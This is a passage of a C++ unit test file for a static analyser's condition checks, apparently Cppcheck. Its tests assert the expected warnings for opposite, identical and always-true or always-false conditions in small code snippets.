(i==5) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17] -> [test.cpp:3:10]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n // #8938\n check(\"void Delete(SS_CELLCOORD upperleft) {\\n\"\n \" if ((upperleft.Col == -1) && (upperleft.Row == -1)) {\\n\"\n \" GetActiveCell(&(upperleft.Col), &(upperleft.Row));\\n\"\n \" if (upperleft.Row == -1) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9702\n check(\"struct A {\\n\"\n \" void DoTest() {\\n\"\n \" if (!IsSet()) {\\n\"\n \" m_value = true;\\n\"\n \" if (IsSet());\\n\"\n \" }\\n\"\n \" }\\n\"\n \" bool IsSet() const { return m_value; }\\n\"\n \" bool m_value = false;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #12725\n check(\"bool f(bool b) {\\n\"\n \" if (b)\\n\"\n \" return !b;\\n\"\n \" b = g();\\n\"\n \" return b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:3:16]: (style) Return value '!b' is always false [knownConditionTrueFalse]\\n\", errout_str());\n }\n\n void oppositeInnerConditionPointers() {\n check(\"void f(struct ABC *abc) {\\n\"\n \" struct AB *ab = abc->ab;\\n\"\n \" if (ab->a == 123){\\n\"\n \" do_something(abc);\\n\" // might change ab->a\n \" if (ab->a != 123) {\\n\"\n \" err = rc;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void Fred::f() {\\n\" // daca: ace\n \" if (this->next_ == map_man_->table_) {\\n\"\n \" this->next_ = n;\\n\"\n \" if (this->next_ != map_man_->table_) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test(float *f) {\\n\" // #7405\n \" if(*f>10) {\\n\"\n \" (*f) += 0.1f;\\n\"\n \" if(*f<10) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int * f(int * x, int * y) {\\n\"\n \" if(!x) return x;\\n\"\n \" return y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void oppositeInnerConditionClass() {\n // #6095 - calling member function that might change the state\n check(\"void f() {\\n\"\n \" const Fred fred;\\n\" // <- fred is const, warn\n \" if (fred.isValid()) {\\n\"\n \" fred.dostuff();\\n\"\n \" if (!fred.isValid()) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:19] -> [test.cpp:5:9]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"class Fred { public: bool isValid() const; void dostuff() const; };\\n\"\n \"void f() {\\n\"\n \" Fred fred;\\n\"\n \" if (fred.isValid()) {\\n\"\n \" fred.dostuff();\\n\" // <- dostuff() is const, warn\n \" if (!fred.isValid()) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:19] -> [test.cpp:6:9]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" Fred fred;\\n\"\n \" if (fred.isValid()) {\\n\"\n \" fred.dostuff();\\n\"\n \" if (!fred.isValid()) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6385 \"crash in Variable::getFlag()\"\n check(\"class TranslationHandler {\\n\"\n \"QTranslator *mTranslator;\\n\"\n \"void SetLanguage() {\\n\"\n \" if (mTranslator) {\\n\"\n \" qApp->removeTranslator(mTranslator);\\n\"\n \" }\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str()); // just don't crash...\n\n check(\"bool f(std::ofstream &CFileStream) {\\n\" // #8198\n \" if(!CFileStream.good()) { return; }\\n\"\n \" CFileStream << \\\"abc\\\";\\n\"\n \" if (!CFileStream.good()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void oppositeInnerConditionUndeclaredVariable() {\n // #5731 - fp when undeclared variable is used\n check(\"void f() {\\n\"\n \" if (x == -1){\\n\"\n \" x = do_something();\\n\"\n \" if (x != -1) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5750 - another fp when undeclared variable is used\n check(\"void f() {\\n\"\n \" if (r < w){\\n\"\n \" r += 3;\\n\"\n \" if (r > w) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6574 - another fp when undeclared variable is used\n check(\"void foo() {\\n\"\n \" if(i) {\\n\"\n \" i++;\\n\"\n \" if(!i) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // undeclared array\n check(\"void f(int x) {\\n\"\n \" if (a[x] > 0) {\\n\"\n \" a[x] -= dt;\\n\"\n \" if (a[x] < 0) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6313 - false positive: opposite conditions in nested if blocks when condition changed\n check(\"void Foo::Bar() {\\n\"\n \" if(var){\\n\"\n \" --var;\\n\"\n \" if(!var){}\\n\"\n \" else {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // daca hyphy\n check(\"bool f() {\\n\"\n \" if (rec.lLength==0) {\\n\"\n \" rec.Delete(i);\\n\"\n \" if (rec.lLength!=0) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void oppositeInnerConditionAlias() {\n check(\"void f() {\\n\"\n \" struct S s;\\n\"\n \" bool hasFailed = false;\\n\"\n \" s.status = &hasFailed;\\n\"\n \"\\n\"\n \" if (! hasFailed) {\\n\"\n \" doStuff(&s);\\n\"\n \" if (hasFailed) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:7]: (style) Condition '!hasFailed' is always true [knownConditionTrueFalse]\\n\", errout_str());\n }\n\n void oppositeInnerCondition2() {\n // first comparison: <\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x<4) {\\n\"\n \" if (x==5) {}\\n\" // <- Warning\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:4:10]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\",\n errout_str());\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x<4) {\\n\"\n \" if (x!=5) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:4:10]: (style) Condition 'x!=5' is always true [knownConditionTrueFalse]\\n\", errout_str());\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x<4) {\\n\"\n \" if (x>5) {}\\n\" // <- Warning\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:4:10]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\",\n errout_str());\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x<4) {\\n\"\n \" if (x>=5) {}\\n\" // <- Warning\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:4:10]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\",\n errout_str());\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x<4) {\\n\"\n \" if (x<5) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:4:10]: (style) Condition 'x<5' is always true [knownConditionTrueFalse]\\n\", errout_str());\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x<4) {\\n\"\n \" if (x<=5) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:4:10]: (style) Condition 'x<=5' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x<5) {\\n\"\n \" if (x==4) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x<5) {\\n\"\n \" if (x!=4) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x<5) {\\n\"\n \" if (x!=6) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:4:10]: (style) Condition 'x!=6' is always true [knownConditionTrueFalse]\\n\", errout_str());\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x<5) {\\n\"\n \" if (x>4) {}\\n\" // <- Warning\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:4:10]: (style) Condition 'x>4' is always false [knownConditionTrueFalse]\\n\", errout_str());\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x<5) {\\n\"\n \" if (x>=4) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x<5) {\\n\"\n \" if (x<4) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x<5) {\\n\"\n \" if (x<=4) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:4:10]: (style) Condition 'x<=4' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n // first comparison: >\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x>4) {\\n\"\n \" if (x==5) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x>4) {\\n\"\n \" if (x>5) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x>4) {\\n\"\n \" if (x>=5) {}\\n\" // <- Warning\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:4:10]: (style) Condition 'x>=5' is always true [knownConditionTrueFalse]\\n\", errout_str());\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x>4) {\\n\"\n \" if (x<5) {}\\n\" // <- Warning\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:4:10]: (style) Condition 'x<5' is always false [knownConditionTrueFalse]\\n\", errout_str());\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x>4) {\\n\"\n \" if (x<=5) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x>5) {\\n\"\n \" if (x==4) {}\\n\" // <- Warning\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:4:10]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\",\n errout_str());\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x>5) {\\n\"\n \" if (x>4) {}\\n\" // <- Warning\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:4:10]: (style) Condition 'x>4' is always true [knownConditionTrueFalse]\\n\", errout_str());\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x>5) {\\n\"\n \" if (x>=4) {}\\n\" // <- Warning\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:4:10]: (style) Condition 'x>=4' is always true [knownConditionTrueFalse]\\n\", errout_str());\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x>5) {\\n\"\n \" if (x<4) {}\\n\" // <- Warning\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:4:10]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\",\n errout_str());\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x>5) {\\n\"\n \" if (x<=4) {}\\n\" // <- Warning\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:4:10]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\",\n errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x < 4) {\\n\"\n \" if (10 < x) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:3:12]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n }\n\n void oppositeInnerCondition3() {\n check(\"void f3(char c) { if(c=='x') if(c=='y') {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:23] -> [test.cpp:1:34]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void f4(char *p) { if(*p=='x') if(*p=='y') {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:25] -> [test.cpp:1:37]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void f5(const char * const p) { if(*p=='x') if(*p=='y') {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:38] -> [test.cpp:1:50]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void f5(const char * const p) { if('x'==*p) if('y'==*p) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:39] -> [test.cpp:1:51]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void f6(char * const p) { if(*p=='x') if(*p=='y') {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:32] -> [test.cpp:1:44]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void f7(const char * p) { if(*p=='x') if(*p=='y') {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:32] -> [test.cpp:1:44]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void f8(int i) { if(i==4) if(i==2) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:22] -> [test.cpp:1:31]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void f9(int *p) { if (*p==4) if(*p==2) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:25] -> [test.cpp:1:35]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void f10(int * const p) { if (*p==4) if(*p==2) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:33] -> [test.cpp:1:43]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void f11(const int *p) { if (*p==4) if(*p==2) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:32] -> [test.cpp:1:42]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void f12(const int * const p) { if (*p==4) if(*p==2) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:39] -> [test.cpp:1:49]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"struct foo {\\n\"\n \" int a;\\n\"\n \" int b;\\n\"\n \"};\\n\"\n \"void f(foo x) { if(x.a==4) if(x.b==2) {}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct foo {\\n\"\n \" int a;\\n\"\n \" int b;\\n\"\n \"};\\n\"\n \"void f(foo x) { if(x.a==4) if(x.b==4) {}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f3(char a, char b) { if(a==b) if(a==0) {}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) { if (x == 1) if (x != 1) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:23] -> [test.cpp:1:35]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n }\n\n void oppositeInnerConditionAnd() {\n check(\"void f(int x) {\\n\"\n \" if (a>3 && x > 100) {\\n\"\n \" if (x < 10) {}\\n\"\n \" }\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16] -> [test.cpp:3:11]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void f(bool x, const int a, const int b) {\\n\"\n \" if(x && a < b)\\n\"\n \" if( x && a > b){}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:14] -> [test.cpp:3:19]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n }\n\n void oppositeInnerConditionOr()\n {\n check(\"void f(int x) {\\n\"\n \" if (x == 1 || x == 2) {\\n\"\n \" if (x == 3) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:16] -> [test.cpp:3:15]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\",\n errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x == 1 || x == 2) {\\n\"\n \" if (x == 1) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x == 1 || x == 2) {\\n\"\n \" if (x == 2) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::string x) {\\n\"\n \" if (x == \\\"1\\\" || x == \\\"2\\\") {\\n\"\n \" if (x == \\\"1\\\") {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x < 1 || x > 3) {\\n\"\n \" if (x == 3) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:15] -> [test.cpp:3:15]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\",\n errout_str());\n }\n\n void oppositeInnerConditionEmpty() {\n check(\"void f1(const std::string &s) { if(s.size() > 42) if(s.empty()) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:45] -> [test.cpp:1:61]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void f1(const std::string &s) { if(s.size() > 0) if(s.empty()) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:45] -> [test.cpp:1:60]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void f1(const std::string &s) { if(s.size() < 0) if(s.empty()) {}} \"); // <- CheckOther reports: checking if unsigned expression is less than zero\n ASSERT_EQUALS(\"[test.cpp:1:45] -> [test.cpp:1:60]: (style) Condition 's.empty()' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f1(const std::string &s) { if(s.empty()) if(s.size() > 42) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:43] -> [test.cpp:1:59]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"template void f1(const T &s) { if(s.size() > 42) if(s.empty()) {}}\");\n ASSERT_EQUALS(\"\", errout_str()); //We don't know the type of T so we don't know the relationship between size() and empty(). e.g. s might be a 50 tonne truck with nothing in it.\n\n check(\"void f2(const std::wstring &s) { if(s.empty()) if(s.size() > 42) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:44] -> [test.cpp:1:60]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void f1(QString s) { if(s.isEmpty()) if(s.length() > 42) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:34] -> [test.cpp:1:52]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void f1(const std::string &s, bool b) { if(s.empty() || ((s.size() == 1) && b)) {}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f1(const std::string &x, const std::string &y) { if(x.size() > 42) if(y.empty()) {}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f1(const std::string &x, const std::string &y) { if(y.empty()) if(x.size() > 42) {}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f1(const std::string v[10]) { if(v[0].size() > 42) if(v[1].empty()) {}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f1(const std::string &s) { if(s.size() <= 1) if(s.empty()) {}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f1(const std::string &s) { if(s.size() <= 2) if(s.empty()) {}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f1(const std::string &s) { if(s.size() < 2) if(s.empty()) {}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f1(const std::string &s) { if(s.size() >= 0) if(s.empty()) {}} \"); // CheckOther says: Unsigned expression 's.size()' can't be negative so it is unnecessary to test it. [unsignedPositive]\n ASSERT_EQUALS(\"\", errout_str());\n\n // TODO: These are identical condition since size cannot be negative\n check(\"void f1(const std::string &s) { if(s.size() <= 0) if(s.empty()) {}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // TODO: These are identical condition since size cannot be negative\n check(\"void f1(const std::string &s) { if(s.size() < 1) if(s.empty()) {}}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void oppositeInnerConditionFollowVar() {\n check(\"struct X {\\n\"\n \" void f() {\\n\"\n \" const int flag = get();\\n\"\n \" if (flag) {\\n\"\n \" bar();\\n\"\n \" if (!get()) {}\\n\"\n \" }\\n\"\n \" }\\n\"\n \" void bar();\\n\"\n \" int get() const;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct CD {\\n\"\n \" bool state;\\n\"\n \" void foo() {\\n\"\n \" const bool flag = this->get();\\n\"\n \" if (flag) {\\n\"\n \" this->bar();\\n\"\n \" if (!this->get()) return;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" bool get() const;\\n\"\n \" void bar();\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class C {\\n\"\n \"public:\\n\"\n \" bool f() const { return x > 0; }\\n\"\n \" void g();\\n\"\n \" int x = 0;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void C::g() {\\n\"\n \" bool b = f();\\n\"\n \" x += 1;\\n\"\n \" if (!b && f()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(double d) {\\n\"\n \" if (d != 0) {\\n\"\n \" int i = d;\\n\"\n \" if (i == 0) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void oppositeInnerConditionLambda() {\n check(\"void f() {\\n\" // #13728\n \" for (int i = 0; i < 2;) {\\n\"\n \" auto inc = [&]() {\\n\"\n \" if (i >= 2)\\n\"\n \" throw 0;\\n\"\n \" return i++;\\n\"\n \" };\\n\"\n \" inc();\\n\"\n \" inc();\\n\"\n \" inc();\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void identicalInnerCondition() {\n check(\"void f1(int a, int b) { if(a==b) if(a==b) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:29] -> [test.cpp:1:38]: (warning) Identical inner 'if' condition is always true. [identicalInnerCondition]\\n\", errout_str());\n\n check(\"void f2(int a, int b) { if(a!=b) if(a!=b) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:29] -> [test.cpp:1:38]: (warning) Identical inner 'if' condition is always true. [identicalInnerCondition]\\n\", errout_str());\n\n // #6645 false negative: condition is always false\n check(\"void f(bool a, bool b) {\\n\"\n \" if(a && b) {\\n\"\n \" if(a) {}\\n\"\n \" else {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:6] -> [test.cpp:3:9]: (warning) Identical inner 'if' condition is always true. [identicalInnerCondition]\\n\", errout_str());\n\n check(\"bool f(int a, int b) {\\n\"\n \" if(a == b) { return a == b; }\\n\"\n \" return false;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10] -> [test.cpp:2:27]: (warning) Identical inner 'return' condition is always true. [identicalInnerCondition]\\n\", errout_str());\n\n check(\"bool f(bool a) {\\n\"\n \" if(a) { return a; }\\n\"\n \" return false;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int* f(int* a, int * b) {\\n\"\n \" if(a) { return a; }\\n\"\n \" return b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int* f(std::shared_ptr a, std::shared_ptr b) {\\n\"\n \" if(a.get()) { return a.get(); }\\n\"\n \" return b.get();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { int * x; };\\n\"\n \"int* f(A a, int * b) {\\n\"\n \" if(a.x) { return a.x; }\\n\"\n \" return b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" uint32_t value;\\n\"\n \" get_value(&value);\\n\"\n \" int opt_function_capable = (value >> 28) & 1;\\n\"\n \" if (opt_function_capable) {\\n\"\n \" value = 0;\\n\"\n \" get_value (&value);\\n\"\n \" if ((value >> 28) & 1) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define TYPE_1 \\\"a\\\"\\n\" // #13202\n \"#define TYPE_2 \\\"b\\\"\\n\"\n \"#define TYPE_3 \\\"c\\\"\\n\"\n \"void f(const std::string& s) {\\n\"\n \" if (s == TYPE_1) {}\\n\"\n \" else if (s == TYPE_2 || s == TYPE_3) {\\n\"\n \" if (s == TYPE_2) {}\\n\"\n \" else if (s == TYPE_3) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void identicalConditionAfterEarlyExit() {\n check(\"void f(int x) {\\n\" // #8137\n \" if (x > 100) { return; }\\n\"\n \" if (x > 100) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:3:9]: (warning) Identical condition 'x>100', second condition is always false [identicalConditionAfterEarlyExit]\\n\", errout_str());\n\n check(\"bool f(int x) {\\n\"\n \" if (x > 100) { return false; }\\n\"\n \" return x > 100;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:3:12]: (warning) Identical condition and return expression 'x>100', return value is always false [identicalConditionAfterEarlyExit]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x > 100) { return; }\\n\"\n \" if (x > 100 || y > 100) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:3:9]: (warning) Identical condition 'x>100', second condition is always false [identicalConditionAfterEarlyExit]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x > 100) { return; }\\n\"\n \" if (x > 100 && y > 100) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:3:9]: (warning) Identical condition 'x>100', second condition is always false [identicalConditionAfterEarlyExit]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x > 100) { return; }\\n\"\n \" if (abc) {}\\n\"\n \" if (x > 100) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:4:9]: (warning) Identical condition 'x>100', second condition is always false [identicalConditionAfterEarlyExit]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x > 100) { return; }\\n\"\n \" while (abc) { y = x; }\\n\"\n \" if (x > 100) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:4:9]: (warning) Identical condition 'x>100', second condition is always false [identicalConditionAfterEarlyExit]\\n\", errout_str());\n\n ASSERT_THROW_INTERNAL(check(\"void f(int x) {\\n\" // #8217 - crash for incomplete code\n \" if (x > 100) { return; }\\n\"\n \" X(do);\\n\"\n \" if (x > 100) {}\\n\"\n \"}\"),\n SYNTAX);\n\n check(\"void f(const int *i) {\\n\"\n \" if (!i) return;\\n\"\n \" if (!num1tok) { *num1 = *num2; }\\n\"\n \" if (!i) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:7] -> [test.cpp:4:7]: (warning) Identical condition '!i', second condition is always false [identicalConditionAfterEarlyExit]\\n\", errout_str());\n\n check(\"void C::f(Tree &coreTree) {\\n\" // daca\n \" if(!coreTree.build())\\n\"\n \" return;\\n\"\n \" coreTree.dostuff();\\n\"\n \" if(!coreTree.build()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", 